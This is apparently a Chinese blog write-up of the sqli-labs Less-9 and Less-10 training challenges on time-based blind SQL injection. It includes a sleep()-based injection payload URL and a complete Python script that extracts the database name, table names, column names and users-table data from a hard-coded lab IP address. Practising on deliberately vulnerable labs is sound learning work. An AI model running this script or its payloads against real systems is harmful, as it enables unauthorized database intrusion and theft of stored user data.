sqli-labs Less9-10 基于时间的盲注

发布 : 2019-04-05

Less-9

这一关的题目为:GET - Blind - Time based. - Single Quot,提示了是时间盲注,时间盲注是结合 if 语句和 sleep()函数来判断语句是否正确,下面的URL提交后页面会延迟5秒钟,说明语句执行了

1
http://43.247.91.228:84/Less-9/?id=1' and if(1=1,sleep(5),0)--+

这句的意思是如果1=1处的语句正确,就执行`sleep(5) 函数,所以就可以以这个为判断依据,修改Less-8 中的脚本进行注入。

修改过程

首先修改check()函数,将之前依据页面内容判断改为根据页面响应时间判断,具体使用到time模块、datetime模块以及requests模块,下面是简单介绍

time

在 Python 文档里, time 是归类在 Generic Operating System Services 中,换句话说, 它提供的功能是更加接近于操作系统层面的。通读 文档 可知,time 模块是围绕着 Unix Timestamp 进行的。
该模块主要包括一个类 struct_time ,另外其他几个函数及相关常量。 需要注意的是在该模块中的大多数函数是调用了所在平台 C library 的同名函数, 所以要特别注意有些函数是平台相关的,可能会在不同的平台有不同的效果。另外一点是,由于是基于Unix Timestamp,所以其所能表述的日期范围被限定在 1970 - 2038 之间,如果你写的代码需要处理在前面所述范围之外的日期,那可能需要考虑使用 datetime 模块更好。

用法

1
2
3
4
5
6
stramp = time.time()       #获取当前时间戳
time.ctime() #'Wed Jun 15 11:15:53 2016'
struct = time.locatime() #获取struct格式的时间
time.mktime(struct) #把时间戳变成struct格式
time.loctime(stramp) #把时间戳转换成struct格式,一般可用于把一个float数字转换成struct
time.strftime('%Y-%m-%d', time.loctime()) #把struct格式的时间按照给出的格式格式化,类似于datetime.datetime.now().strftime('%Y-%m-%d')

datetime

datetime 基于 time 进行了封装,提供了更多实用的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
datetime.replace(name=value) # 前面所述各项属性是 read-only 的,需要此方法才可更改
datetime.timetuple() # 返回time.struct_time 对象
dattime.strftime(format) # 按照 format 进行格式化输出

#除了实例本身具有的方法,类本身也提供了很多好用的方法:
datetime.today()a # 当前时间,localtime
datetime.now([tz]) # 当前时间默认 localtime
datetime.utcnow() # UTC 时间
datetime.fromtimestamp(timestamp[, tz]) # 由 Unix Timestamp 构建对象
datetime.strptime(date_string, format) # 给定时间格式解析字符串

# datetime.timedelta
today = datetime.datetime.today() #2016-06-15 11:21:00.205354
tomorrow = date + datetime.timedelta(days=1)
next_hour = datetime.datetime.now() + datetime.timedelta(hours=1)

这里请求网页的方式从

1
response = request.urlopen(url + parse.quote(newurl)).read().decode()

改为了

1
res=requests.get(url +newurl)

区别

这里面的区别在于urlopen打开URL网址,url参数可以是一个字符串url或者是一个Request对象,返回的是http.client.HTTPResponse对象.http.client.HTTPResponse对象大概包括read()、readinto()、getheader()、getheaders()、fileno()、msg、version、status、reason、debuglevel和closed函数,其实一般而言使用read()函数后还需要decode()函数,返回的网页内容实际上是没有被解码或的,在read()得到内容后通过指定decode()函数参数,可以使用对应的解码方式。

requests.get()方法请求了站点的网址,然后打印出了返回结果的类型,状态码,编码方式,Cookies等内容

修改了这些后,还需要在其他函数构造URL的地方将语句用if括起来并且加上sleep()函数,使URL拼合后类似在本文开头的那种形式,下面是修改后的脚本

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
# 基于时间盲注脚本


import urllib
from urllib import parse
from urllib import request
import re
import requests
import time,datetime


url="http://43.247.91.228:84/Less-9/?id="
right_text="You are in..........."
table_names=[]
cols=[]
data=[]


# 获取名字长度
def get_length(check_name,limit=""):
length=0;
while True:
newurl="1' and if(length("+check_name+limit+")="+str(length)+",sleep(2),0)--+"

# print(url+newurl)
if check(newurl)==True:
return length
else:
length+=1

#获取名字
def guess_name(namelength,check_name,limit=""):
name=""
for i in range(namelength):
a,b=64,64
while True:
b=int(b/2)
newurl="1' and if(ascii(substr("+check_name+limit+","+str(i+1)+")"+")<"+str(a)+",sleep(2),0)--+"
# print(url+newurl)
if check(newurl)==True:
a-=b
else:
newurl="1' and if(ascii(substr("+check_name+limit+","+str(i+1)+")"+")="+str(a)+",sleep(2),0)--+"
if check(newurl)==True:
name+=chr(a)
break
else:
a+=b
return name


#获取表的数量
def get_table_nums(check_name):
table_nums=0;
while True:
limit=" limit "+str(table_nums)+",1"
newurl="1' and if(ascii(substr("+check_name+limit+"),1))>0"+",sleep(2),0)--+"
if check(newurl)==True:
table_nums+=1;
else:
break
return table_nums

# 获取表中列的数量
def get_column_nums(table_name):
nums=0
while True:
newurl="1' and if((select count(*) from information_schema.COLUMNS where table_name='"+str(table_name)+"') ="+str(nums)+",sleep(2),0)--+"
if check(newurl)==True:
return nums
else:
nums+=1

# 获取名字
def get_names(check_name,nums,names):
for n in range(nums):
#获取长度
limit=" limit "+str(n)+",1)"
length=get_length(check_name,limit)
# print("[+]长度为:"+str(length))
#获取名字
name=guess_name(length,check_name,limit)
names.append(name)

# 获取相应表中有多少数据
def get_data_nums(DBname,table_name,cols):
nums=0
columns=0
# 获取有多少列
while True:
column=cols[0]
newurl="1' and if((select count(*) from %s.%s)=%s,sleep(2),0)--+" %(DBname,table_name,nums)
if check(newurl)==True:
break
else:
nums+=1
return nums
# 获取每一条数据
def get_data(DBname,table_name,cols,data_nums):
for i in range(len(cols)):
print("[*] "+cols[i]+"列的数据为:")
check_name=" (select %s from security.users " % (cols[i])
get_names(check_name,data_nums,data)
for n in range(data_nums):
print("-------"+data[n])
del data[:]

# 判断是否正确
def check(newurl):
# print(url+newurl)
time1 = datetime.datetime.now()
res=requests.get(url +newurl)
print(url+newurl)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec>=1:
return True
else:
return False



DBnamelength=get_length("database()")
print("[*] 数据库长度为:" + str(DBnamelength))
print("[+] 开始获取数据库名字")
DBname=guess_name(DBnamelength,"database()")

table_nums=get_table_nums("(select table_name from information_schema.tables where table_schema=database()")
print("[*] 表的数量为:"+str(table_nums))
print("[+] 开始获取表名")
get_names("(select table_name from information_schema.tables where table_schema=database()",table_nums,table_names)
print("[+] 开始获取users表的列名")
column_nums=get_column_nums("users")
get_names("(select column_name from information_schema.columns where table_name='users'",column_nums,cols)
data_nums=get_data_nums(DBname,"users",cols)


print("[*] 当前数据库名字为:"+ DBname)
print("[*] 表的数量为:"+str(table_nums))
print("[*] 所有表的名字为:")
for i in range(table_nums):
print(" "+table_names[i])
print("[*] users表一共有"+str(column_nums)+"列")
print("[*] users表下所有列的名字为")
for i in range(column_nums):
print(" "+cols[i])

get_data(DBname,"users",cols,data_nums)

Less-10

这一关的名字为:GET - Blind - Time based. - Double Quot,经过尝试,这个和第九关的区别就是这一关是使用双引号闭合,所以将脚本中的单引号改为双引号就行了

总结

修改为基于时间的盲注脚本并不复杂,但是需要把握好sleep()函数的时间,如果过小会使得脚本运行过慢,但是时间设置的太短,会使出错的概率变大,所以这个地方需要根据自己的情况设定。

参考

Python中的time和datetime模块

本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/bf579251.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!